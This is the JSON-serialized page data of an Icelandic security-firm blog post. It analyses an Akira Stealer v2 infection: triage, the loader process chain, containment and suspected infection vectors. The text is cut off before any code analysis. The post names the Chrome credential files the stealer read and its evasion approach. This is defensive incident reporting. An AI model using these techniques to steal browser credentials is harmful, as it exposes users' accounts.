[{"data":1,"prerenderedAt":13635},["ShallowReactive",2],{"sc:header-data-is":3,"sc:footer-data-is":489,"post-is--posts-2025-06-16-quiet-breach-1445fe6971adcc":518,"authors_data":13050,"content-is-list-7b291c2dd91a4":13404,"authors_data:Pascal Asch":13632},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"is":13},{"title":14,"url":15,"alt":16},"Heim","/is","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"is":21},{"title":22,"description":23},"Workplace","Knúið af Microsoft 365 fyrir snjalla, örugga og sveigjanlega vinnustaði, með nútímalegri tækni og auðkennisþjónustum samþættum.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"is":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"is":34},{"title":35,"url":36},"Managed Intune","/is/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"is":40},{"title":41,"url":42},"Managed Entra","/is/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"is":46},{"title":47,"url":48},"Managed Workplace","/is/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"is":52},{"title":53,"url":54},"Consulting Services","/is/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"is":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"is":64},{"title":65,"url":66},"Microsoft Entra Suite","/is/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"is":70},{"title":71,"url":72},"Microsoft Intune","/is/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"is":76},{"title":77,"url":78},"Microsoft Windows","/is/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"is":82},{"title":83,"url":84},"Windows 365 Cloud PC","/is/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"is":88},{"title":89,"url":90},"Cloud Workplace Foundation","/is/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"is":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"is":100},{"title":101,"url":102},"Microsoft 365 Copilot","/is/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"is":106},{"title":107,"url":108},"Teams","/is/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"is":112},{"title":113,"url":114},"SharePoint & Power Platform","/is/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"is":118},{"title":119,"url":120},"Exchange Online","/is/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"is":124},{"title":125,"url":126},"Information Protection & Compliance","/is/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"is":130},{"title":131,"description":132},"Azure","Vöxtur með Azure: lækkaðu cloud-kostnað, auktu skilvirkni og knýðu áfram nýsköpun með IaaS og PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"is":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"is":142},{"title":143,"url":144},"Azure Managed Services","/is/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"is":148},{"title":149,"url":150},"Azure Consulting","/is/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"is":154},{"title":155},"Sviðsmyndir",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"is":160},{"title":161,"url":162},"Skipuleggðu skýið þitt","/is/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"is":166},{"title":167,"url":168},"Flyttu í skýið","/is/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"is":172},{"title":173,"url":174},"Nýsköpun í rekstrinum þínum","/is/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"is":178},{"title":179,"url":180},"Endurhugsaðu VMware-stefnuna þína","/is/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"is":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"is":190},{"title":191,"url":192},"Azure Foundation","/is/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"is":196},{"title":197,"url":198},"Azure AI Foundation","/is/azure/azure-ai-foundation",{"name":86,"languages":200},{"is":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"is":205},{"title":206,"url":207},"Azure Data Foundation","/is/azure/azure-data-foundation",{"name":188,"languages":209},{"is":210},{"title":211,"url":212},"Azure Container Foundation","/is/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"is":216},{"title":217,"url":218},"Managed Dark Tenant","/is/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"is":222},{"title":223,"url":224},"Cloud Adoption Framework","/is/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"is":228},{"title":229,"url":230},"Cloud Competence Center","/is/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"is":234},{"title":235,"description":236,"emergency":237},"Security","Árvekni í skýinu með margverðlaunaðri 24/7 managed service, incident response og nútímalegri vörn fyrir innviðina þína.",{"text":238,"href":239,"skin":240,"icon":241},"Undir árás?","/is/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"is":249},{"title":250,"url":251},"Managed Red Tenant","/is/security/managed-red-tenant",{"name":214,"languages":253},{"is":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"is":259},{"title":260,"url":261},"Sentinel Data Lake","/is/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"is":265},{"title":266,"url":267},"Security Consulting","/is/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"is":274},{"title":275,"url":276},"Cloud Security Operations Center","/is/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"is":280},{"title":281,"url":282},"Global Secure Access","/is/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"is":286},{"title":287,"url":288},"MyWorkID","/is/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"is":295},{"title":296,"url":297},"Preventive Services","/is/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"is":301},{"title":302,"url":303},"Data Security Service","/is/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"is":307},{"title":308,"url":309},"Security Copilot Agents","/is/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"is":313},{"title":314,"url":315},"Innleiðing NIS2","/is/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"is":319},{"title":320,"description":321},"Vörur","Fylgivörur fyrir öruggt, 100 % cloud-native Microsoft-umhverfi sem styrkja samstarf, netauðkenningu og hugbúnaðarstjórnun.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"is":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Skýbundin hugbúnaðardreifing",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"is":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Skírteinadreifing úr skýinu",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"is":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Vinndu með staðbundnu Office 365-gögnin þín",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"is":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Flyttu gögnin þín milli netþjóna",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"is":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider for Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"is":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Auðkenning fyrir netið þitt",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"is":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Finndu tengiliði í Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"is":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Rauntímaeftirlit með Windows Autopilot",{"name":396,"languages":397},"casestudies",{"is":398},{"title":399,"url":400,"description":401},"Case Studies","/is/casestudies","Frumkvöðull í skýinu: Microsoft-samstarfsaðilinn þinn fyrir cloud-lausnir með blueprint-nálgun og sérþekkingu í Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"is":405},{"title":406,"description":401},"Fyrirtækið",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"is":411},{"title":412},"Um okkur",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"is":417},{"title":418,"url":419},"Staðreyndir og tölur","/is/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"is":423},{"title":424,"url":425},"Tengiliðir og staðsetningar","/is/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"is":429},{"title":430,"url":431}," glueckkanja Switzerland","/is/company/switzerland",{"name":433,"languages":434},"austria",{"is":435},{"title":436,"url":437},"glueckkanja Austria","/is/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"is":441},{"title":442},"Störf",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"is":447},{"title":448,"url":449},"Yfirlit yfir störf","/is/career",{"name":451,"languages":452},"company-young-professionals",{"is":453},{"title":454,"url":455},"Young Professionals","/is/young-professionals",{"name":457,"languages":458},"company-jobs",{"is":459},{"title":460,"url":461},"Laus störf","/is/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"is":465},{"title":466},"Nýjast",[468,474],{"name":469,"languages":470},"company-blog",{"is":471},{"title":472,"url":473},"Blogg","/is/blog",{"name":469,"languages":475},{"is":476},{"title":477,"url":478},"Viðburðir","/is/events",[480],{"name":481,"languages":482},"career-meta",{"is":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"is":487},{"title":488,"url":425,"active":484},"Tengiliður",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksIs":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privacy","/is/privacy",{"title":514,"url":515},"Imprint","/is/imprint",{"title":507,"url":517},"/is/cookies",{"id":519,"title":520,"author":521,"body":523,"cta":494,"description":534,"eventid":494,"extension":12923,"hideInRecent":484,"layout":12924,"meta":12925,"moment":12929,"navigation":325,"path":13041,"seo":13042,"stem":13043,"tags":13044,"webcast":484,"__hash__":13049},"content_is/posts/2025-06-16-quiet-breach.md","Inni í Akira Stealer: full tæknileg greining á einingaskiptum stealer",[522],"Pascal Asch",{"type":524,"value":525,"toc":12778},"minimal",[526,531,535,543,546,565,568,586,596,599,602,626,634,645,652,655,658,673,680,683,686,700,704,706,712,717,720,723,735,744,751,754,760,763,767,769,774,781,784,788,790,793,819,825,831,835,837,840,844,846,849,851,857,860,865,868,878,881,884,904,907,913,920,922,928,931,937,940,975,978,987,993,1002,1005,1016,1019,1026,1028,1037,1047,1079,1085,1090,1112,1118,1121,1124,1130,1138,1145,1147,1150,1162,1165,1199,1205,1232,1241,1244,1249,1258,1260,1269,1275,1292,1295,1300,1334,1338,1341,1344,1350,1364,1370,1376,1378,1383,1387,1389,1469,1472,1476,1478,1483,1489,1494,1503,1508,1514,1525,1528,1533,1541,1547,1550,1554,1556,1567,1572,1597,1603,1612,1623,1630,1636,1640,1642,1648,1674,1677,1691,1694,1703,1706,1710,1712,1720,1723,1726,1739,1749,1756,1777,1780,1786,1790,1792,1795,1804,1816,1841,1847,1853,1856,1863,1866,1879,1886,1888,1895,1899,1901,1907,2005,2012,2019,2021,2024,2047,2050,2080,2083,2125,2128,2137,2140,2157,2163,2166,2175,2178,2191,2198,2202,2204,2211,2233,2240,2274,2277,2292,2299,2304,2315,2318,2322,2324,2327,2342,2349,2360,2371,2408,2415,2418,2422,2424,2430,2435,2475,2478,2493,2496,2505,2511,2514,2518,2520,2523,2532,2535,2582,2589,2593,2595,2601,2606,2635,2642,2644,2659,2663,2665,2668,2706,2712,2718,2722,2724,2743,2753,2760,2797,2804,2850,2858,2862,2864,2867,2895,2905,2912,2914,2919,2923,2925,2931,2935,2937,2944,2970,2977,3237,3240,3245,3248,3280,3285,3289,3291,3294,3298,3300,3303,3405,3408,3412,3414,3417,3580,3583,3606,3610,3612,3620,3865,3868,3897,3901,3903,3936,3939,3942,3972,3976,3978,3984,3989,3992,4010,4013,4021,4026,4029,4109,4117,4120,4126,4134,4138,4140,4146,4151,4154,4171,4178,4183,4189,4251,4264,4269,4275,4302,4305,4343,4346,4351,4354,4368,4372,4374,4379,4399,4406,4412,4414,4418,4420,4426,4430,4432,4436,4438,4443,4470,4476,4480,4482,4488,4505,4529,4536,4540,4542,4545,4554,4568,4571,4575,4577,4590,4593,4602,4608,4615,4617,4621,4623,4633,4637,4639,4644,4658,4672,4676,4678,4757,4760,4766,4768,4773,4831,4838,4963,4966,5111,5115,5117,5120,5174,5177,5181,5183,5190,5243,5246,5250,5252,5255,5307,5310,5314,5316,5323,5375,5378,5382,5384,5391,5432,5435,5439,5441,5448,5530,5533,5537,5539,5542,5589,5592,5597,5600,5603,5607,5609,5614,5620,5625,5631,5636,5642,5647,5653,5658,6059,6063,6065,6105,6109,6111,6119,6123,6125,6135,6140,6165,6186,6191,6278,6282,6284,6377,6380,6386,6393,6395,6398,6453,6509,6516,6518,6521,6556,6590,6597,6599,6602,6635,6669,6676,6678,6681,6750,6794,6801,6803,6806,6834,6864,6871,6873,6876,6904,6927,6936,6938,6941,6966,7004,7008,7010,7043,7047,7049,7052,7055,7058,7061,7064,7069,7094,7099,7129,7135,7144,7166,7375,7379,7381,7388,7486,7489,7493,7495,7502,7595,7605,7611,7614,7619,7625,7653,7658,7688,7741,7760,7763,7768,7817,7821,7823,7826,7830,7832,7838,7958,7978,7982,7984,7989,8063,8084,8088,8090,8093,8096,8099,8102,8201,8209,8213,8215,8220,8255,8276,8280,8282,8285,8288,8296,8299,8387,8401,8405,8407,8410,8413,8506,8512,8514,8519,8523,8525,8528,8593,8610,8613,8647,8650,8654,8656,8661,8675,8720,8746,8751,8764,8840,8895,8899,8901,8904,8910,8951,8961,8967,8977,8981,8983,8986,9015,9041,9046,9050,9052,9059,9066,9068,9074,9129,9156,9160,9162,9165,9230,9237,9276,9280,9282,9288,9303,9306,9341,9345,9347,9354,9398,9412,9418,9425,9427,9430,9434,9436,9439,9473,9476,9501,9505,9507,9512,9515,9539,9563,9567,9569,9572,9596,9600,9602,9605,9625,9629,9631,9634,9641,9754,9758,9803,9807,9809,9816,9850,9905,9910,9913,9917,9919,9922,9926,9928,9931,9937,9941,9943,9946,10001,10016,10020,10022,10033,10102,10111,10116,10119,10163,10165,10169,10171,10174,10263,10268,10397,10401,10403,10406,10411,10484,10502,10507,10527,10535,10540,10546,10561,10578,10584,10642,10662,10667,10684,10689,10732,10746,10749,10753,10755,10760,10764,10766,10773,10780,10784,10786,10897,10904,10908,10910,10916,10921,11002,11009,11016,11020,11022,11025,11054,11061,11065,11067,11071,11073,11080,11083,11086,11089,11234,11237,11241,11243,11246,11250,11252,11255,11290,11296,11300,11302,11305,11331,11334,11340,11344,11346,11351,11368,11374,11378,11380,11384,11386,11402,11425,11432,11447,11466,11469,11473,11475,11486,11490,11492,11926,11929,11933,11935,11941,11944,11947,11953,11956,11967,11973,11976,11981,11985,11987,11990,11995,12009,12013,12015,12311,12314,12318,12320,12432,12435,12439,12441,12495,12498,12502,12504,12668,12671,12675,12677,12718,12721,12725,12727,12730,12733,12736,12739,12742,12745,12750,12754,12756,12759,12762,12765,12768,12771,12774],[527,528,530],"h1",{"id":529},"formáli","Formáli",[532,533,534],"p",{},"{: .h3-font-size}",[532,536,537,538,542],{},"Þetta byrjaði eins og svo margar nútímaárásir: í kyrrþey. Defender-alert með lága vissu, ",[539,540,541],"strong",{},"\"Suspicious sequence of exploration activities\"",", kom upp meðan nýr viðskiptavinur var í onboarding inn í glueckkanja Cyber Security Operations Center (CSOC) okkar.",[532,544,545],{},"Það voru engar signature-samsvaranir. Engin flokkun sem malware. Engin viðbrögð frá rauntímavörn. Aðeins ein hegðunarfylgni í Microsoft 365 Defender, grafin í kliðnum, og samt ótvírætt röng.",[532,547,548,549,553,554,557,558,561,562],{},"Við triage á alertinu vakti ein tiltekin aðgerð athygli mína: ",[550,551,552],"code",{},"python.exe"," hafði opnað bæði skrárnar ",[550,555,556],{},"Login Data"," og ",[550,559,560],{},"Web Data"," inni í Chromium-prófíl. Microsoft Defender stigmagnaði þetta samstundis í atvik með hátt alvarleikastig, ",[539,563,564],{},"\"Possible theft of passwords and other sensitive web browser information.\"",[532,566,567],{},"Þetta var ekki falskt jákvætt. Þetta var toppurinn á einhverju dýpra.",[532,569,570,571,574,575,578,579,582,583,585],{},"Þegar ég rakti telemetríuna aftur á bak fann ég almennt binary í startup-möppunni, ",[550,572,573],{},"Updater.exe",", sem ræsti NodeJS-byggðan wrapper (",[550,576,577],{},"main.exe",") sem keyrði skipanalínu til að ræsa script sem hét ",[550,580,581],{},"astor.py"," í gegnum ",[550,584,552],{},".",[587,588,594],"pre",{"className":589,"code":591,"language":592,"meta":593},[590],"language-text","Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n","text","",[550,595,591],{"__ignoreMap":593},[532,597,598],{},"Scriptið sótti ekki bara credentials, það keyrði runu af könnunarskrefum eftir kompromíseringu, þar á meðal registry-fyrirspurnir, fingrafar á kerfinu og upptalningu sem tók mið af réttindum. Það vann af skurðnákvæmni og hermdi eftir eðlilegri hegðun kerfisins til að komast hjá detection. Og það virkaði, næstum því.",[532,600,601],{},"Þegar fyrstu viðbrögð hófust:",[603,604,605,615,623],"ul",{},[606,607,608,610,611,614],"li",{},[550,609,573],{}," var merkt af aðeins ",[539,612,613],{},"1 af 69"," engines á VirusTotal.",[606,616,617,619,620,622],{},[550,618,577],{},", ",[550,621,581],{}," og allir tengdir hlutar voru í raun ekki merktir á VirusTotal.",[606,624,625],{},"Engin skrá var undirrituð. Ekkert upphafið samhengi. Aðeins \"venjuleg\" ferli að gera mjög óvenjulega hluti.",[532,627,628,630,631,633],{},[550,629,573],{}," snerti engin credentials. Það verkefni var frátekið fyrir ",[550,632,581],{},", Python-payloadinn sem keyrði í minni, skrá sem skildi nánast engin spor eftir sig samkvæmt hönnun.",[532,635,636,637,640,641,644],{},"Innan ",[539,638,639],{},"21 mínútu"," var kerfið sem varð fyrir árásinni einangrað frá netinu. Innan ",[539,642,643],{},"70 mínútna"," var öllum credentials skipt út á öllum viðkomandi sviðum: innri auðkennum, SaaS-pöllum, þjónustum þriðja aðila.",[532,646,647,648,651],{},"En hinn raunverulegi vendipunktur kom þegar við drógum út og afkóðuðum Python-payloadinn að fullu. Það sem við fundum var ekki almennur stealer, heldur sérsniðin útgáfa af ",[539,649,650],{},"Akira Stealer v2",", malware-fjölskyldu sem dreift er í viðskiptaskyni og seld í gegnum Telegram.",[532,653,654],{},"Þökk sé okkar eigin threat intelligence og reverse engineering getu gátum við endurgert alla virkni malware-sins, dregið út alla innbyggða indikatora og skilið í smáatriðum rökvísi þess við staging, exfiltration og val á credentials.",[532,656,657],{},"Það sem meira er, við létum ekki staðar numið við tæknilega attribution. Við gengum lengra.",[532,659,660,661,664,665,668,669,672],{},"Við gátum afhent viðskiptavininum ",[539,662,663],{},"heildstætt gagnasafn yfir exfiltreruð credentials",": yfir ",[539,666,667],{},"100 einkvæmar samsetningar notandanafns og lykilorðs",", þar á meðal aðgangsupplýsingar að cloud-þjónustum, CRM-kerfum, innri pöllum og jafnvel persónulegum verkfærum lykilstarfsmanna. Þjófnaðurinn hafði staðið yfir ",[539,670,671],{},"mánuðum saman",", og við gátum gert grein fyrir honum öllum.",[532,674,675,676,679],{},"Út frá því sem við lærðum af þessu máli smíðuðum við ",[539,677,678],{},"greiningartól fyrir eftirmála sýkingar"," sem skannar kerfin sem urðu fyrir árásinni, endurgerir aðgangsmynstur að credentials og býr til ítarlegar forensic-skýrslur sem kortleggja nákvæmlega hverju var stolið, hvenær og hvaðan.",[532,681,682],{},"Við sýnum stutta innsýn í þennan skanna í lok skýrslunnar.",[532,684,685],{},"Því þetta er meira en bara eitt atvik.\nSvona rannsökum við. Svona verjum við.",[532,687,688,696,699],{},[539,689,690,691,585],{},"Velkomin í ",[692,693,695],"a",{"href":694},"/is/security/cloud-security-operations-center/","glueckkanja CSOC",[697,698],"br",{},"\nSvona vinnum við, því innbrot bíða ekki.",[527,701,703],{"id":702},"_1-upphaflegt-atvik-og-samantekt-á-triage","1. Upphaflegt atvik og samantekt á triage",[532,705,534],{},[532,707,708,709,711],{},"Þann 31. mars 2025 gaf Microsoft Defender for Endpoint út alert merkt ",[539,710,541],{}," á Windows 10 64-bita endpoint. Ég hóf triage út frá þessu merki og fór yfir kerfið sem varð fyrir árásinni með hjálp ferlatrésins, tímalínu kerfisins og þeirra gagna sem Defender hafði tengt saman.",[713,714,716],"h2",{"id":715},"_11-triage-byggt-á-tímalínu","1.1 Triage byggt á tímalínu",[532,718,719],{},"{: .h4-font-size}",[532,721,722],{},"Alertið benti á runu ferla sem kallaði á nánari skoðun. Við fyrstu yfirferð sá ég eftirfarandi aðgangsmynstur að Chrome-browsergögnum í staðbundna notandaprófílnum:",[603,724,725,730],{},[606,726,727],{},[550,728,729],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[606,731,732],{},[550,733,734],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[532,736,737,738,740,741,743],{},"Þessi aðgangur var ræstur af ferli sem hét ",[550,739,573],{},". Þótt Microsoft Defender hefði ekki merkt binary-ið út frá heuristískri eða hegðunarlegri greiningu fann ég detection fyrir ",[550,742,573],{}," á VirusTotal, merkt af einni einustu engine á þeim tímapunkti.",[532,745,746],{},[747,748],"img",{"alt":749,"src":750},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[532,752,753],{},"Öll keyrslukeðjan sem sást var svona:",[587,755,758],{"className":756,"code":757,"language":592,"meta":593},[590],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[550,759,757],{"__ignoreMap":593},[532,761,762],{},"Á þessu stigi hafði engin dýpri statísk eða dýnamísk greining á viðkomandi skrám farið fram. Áherslan mín var á að skilja hegðunina og samhengið á yfirborðsstigi. Heiti ferlanna og skráaslóðirnar voru almenn, og engin grunsamleg argument á skipanalínu komu fram önnur en hlekkjaða Python-keyrslan.",[713,764,766],{"id":765},"_12-fyrstu-viðbrögð","1.2 Fyrstu viðbrögð",[532,768,719],{},[532,770,636,771,773],{},[539,772,639],{}," frá fyrsta alertinu hóf ég einangrun hostsins með einangrunareiginleikum Defender for Endpoint. Markmiðið var að hindra mögulega frekari útbreiðslu eða exfiltration.",[532,775,776,777,780],{},"Innan fyrstu ",[539,778,779],{},"70 mínútnanna"," héldum við áfram og skiptum út þeim credentials sem vitað var að væru notuð á hostinum sem varð fyrir árásinni, og náði það til innri kerfa, SaaS-palla og mikilvægra birgja þriðja aðila.",[532,782,783],{},"Reverse engineering-vinnan hófst eftir fyrstu innilokun. Næstu kaflar skjalfesta þá tæknilegu djúpköfun sem fylgdi í kjölfarið til að rannsaka innbrotið.",[713,785,787],{"id":786},"_13-samantekt-viðbragða-hröð-gagnsæ-áhrifadrifin","1.3 Samantekt viðbragða – hröð, gagnsæ, áhrifadrifin",[532,789,719],{},[532,791,792],{},"Viðbrögð okkar sameinuðu hraða, sérþekkingu og rekstrarleg gæði, með stuðningi af reyndum verkferlum og fullu gagnsæi fyrir viðskiptavininn.",[603,794,795,801,807,813],{},[606,796,797,800],{},[539,798,799],{},"Frá detection að fullri innilokun á innan við 90 mínútum","\nDefender-alert, einangrun frá neti, antivirus-skönnun og afturköllun credentials voru framkvæmd hratt og samstillt.",[606,802,803,806],{},[539,804,805],{},"Ítarleg forensic-viðbrögð innan 48 klukkustunda","\nÞar með talin heildargreining á diski og minni, yfirferð á browser-artifacts, detection á credential dumping og hegðunarleg endurgerð á athöfnum árásaraðilans.",[606,808,809,812],{},[539,810,811],{},"Örugg endurheimt gagna og meðferð sönnunargagna","\nStolnu gögnin, þar á meðal cookies, lykilorð, tokens og browser-prófílar, voru endurheimt, varðveitt með forensic-hætti og afhent viðskiptavininum með öruggum hætti.",[606,814,815,818],{},[539,816,817],{},"Gagnsæi og samskipti frá upphafi til enda","\nHvert skref, frá fyrsta alerti til úrbóta og yfirferðar, var skjalfest að fullu, deilt í rauntíma og tekið saman í skipulagðri CSIRT-afhendingu.",[820,821,822],"blockquote",{},[532,823,824],{},"Þetta atvik sýnir hvernig glueckkanja CSOC stöðvar ekki bara malware, við tökum í sundur afleiðingar þess, skilum viðskiptavinum okkar stjórninni og breytum hverju atviki í þekkingu.",[826,827],"div",{"className":828},[829,830],"space-top-1","space-bottom-1",[527,832,834],{"id":833},"_2-arkitektúr-malware-sins-og-yfirlit-yfir-keyrslukeðjuna","2. Arkitektúr malware-sins og yfirlit yfir keyrslukeðjuna",[532,836,534],{},[532,838,839],{},"Malware-ið sem sást á endpointinum sem varð fyrir árásinni fylgdi skipulögðum arkitektúr í mörgum þrepum með skýrri verkaskiptingu: dreifingu, afkóðun, keyrslu og exfiltration gagna.",[713,841,843],{"id":842},"_21-yfirlit-yfir-keyrslukeðjuna","2.1 Yfirlit yfir keyrslukeðjuna",[532,845,719],{},[532,847,848],{},"Keyrsluflæðið sem sást var svona:",[532,850,573],{},[587,852,855],{"className":853,"code":854,"language":592},[590],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[550,856,854],{"__ignoreMap":593},[532,858,859],{},"Hver hluti keðjunnar lagði sitt af mörkum til að halda keðjunni ósýnilegri, einingaskiptri og hjá detection. Arkitektúrinn nýtti lögmæt runtimes og staðlaða túlka stýrikerfisins til að komast fram hjá detection-kerfum.",[861,862,864],"h3",{"id":863},"_211-óvissa-um-uppruna-upphafsvektorinn-vantar","2.1.1 Óvissa um uppruna: upphafsvektorinn vantar",[532,866,867],{},"{: .font-size-4}",[532,869,870,871,874,875,585],{},"Þrátt fyrir umfangsmikla greiningu á umhverfinu eftir kompromíseringu var ekki hægt að ákvarða upphaflega aðgangsvektorinn með vissu. Óvissan stafar fyrst og fremst af því að malware-ið hafði verið virkt í áætlaða ",[539,872,873],{},"sex mánuði áður en það fannst",", sem er lengra en ",[539,876,877],{},"sá geymslutími logga sem Microsoft Defender for Endpoint framfylgir",[532,879,880],{},"Þar af leiðandi var engin telemetría eða forensic-artifacts til frá upphaflegum sýkingartíma. Engir upphaflegir atburðir um stofnun ferla, engin ummerki um skrár sem voru skrifaðar á disk og engar skipanalínufærslur tengdar afhendingarþrepinu voru endurheimtanlegar úr tímalínu Defender eða tengdum skynjurum.",[532,882,883],{},"Út frá samhengisvísbendingum og OSINT-heimildum gæti líkleg sýkingarleið hafa falið í sér:",[603,885,886,892,898],{},[606,887,888,891],{},[539,889,890],{},"Trójuvædd uppsetningarforrit"," fyrir crackaðan eða moddaðan leikjahugbúnað",[606,893,894,897],{},[539,895,896],{},"Fölsuð hjálparforrit"," eða \"performance boosters\" sem dreift er á spjallborðum og vefsvæðum þriðja aðila",[606,899,900,903],{},[539,901,902],{},"Illgjörn browser extensions"," sem beinast að tilteknum áhugasviðum notenda (t.d. kryptótengd verkfæri eða Discord-viðbætur)",[532,905,906],{},"Þetta eru þó áfram getgátur.",[532,908,909,910,585],{},"Enginn staðfestur dropper, enginn phishing-tölvupóstur og ekkert kompromíserað vefsvæði fannst við rannsóknina. Þótt arkitektúr malware-sins og keyrslukeðjan hafi verið endurgerð að fullu var ekki hægt að staðfesta ",[539,911,912],{},"upphaflega kompromíseringarpunktinn (MITRE ATT&CK T1190 / T1566)",[861,914,916,917,919],{"id":915},"_212-updaterexe-upphaflegur-loader","2.1.2 ",[550,918,573],{}," – upphaflegur loader",[532,921,867],{},[532,923,924,925,927],{},"Þegar ég fór yfir ferlatréð í Microsoft 365 Defender stakk ",[550,926,573],{}," strax í 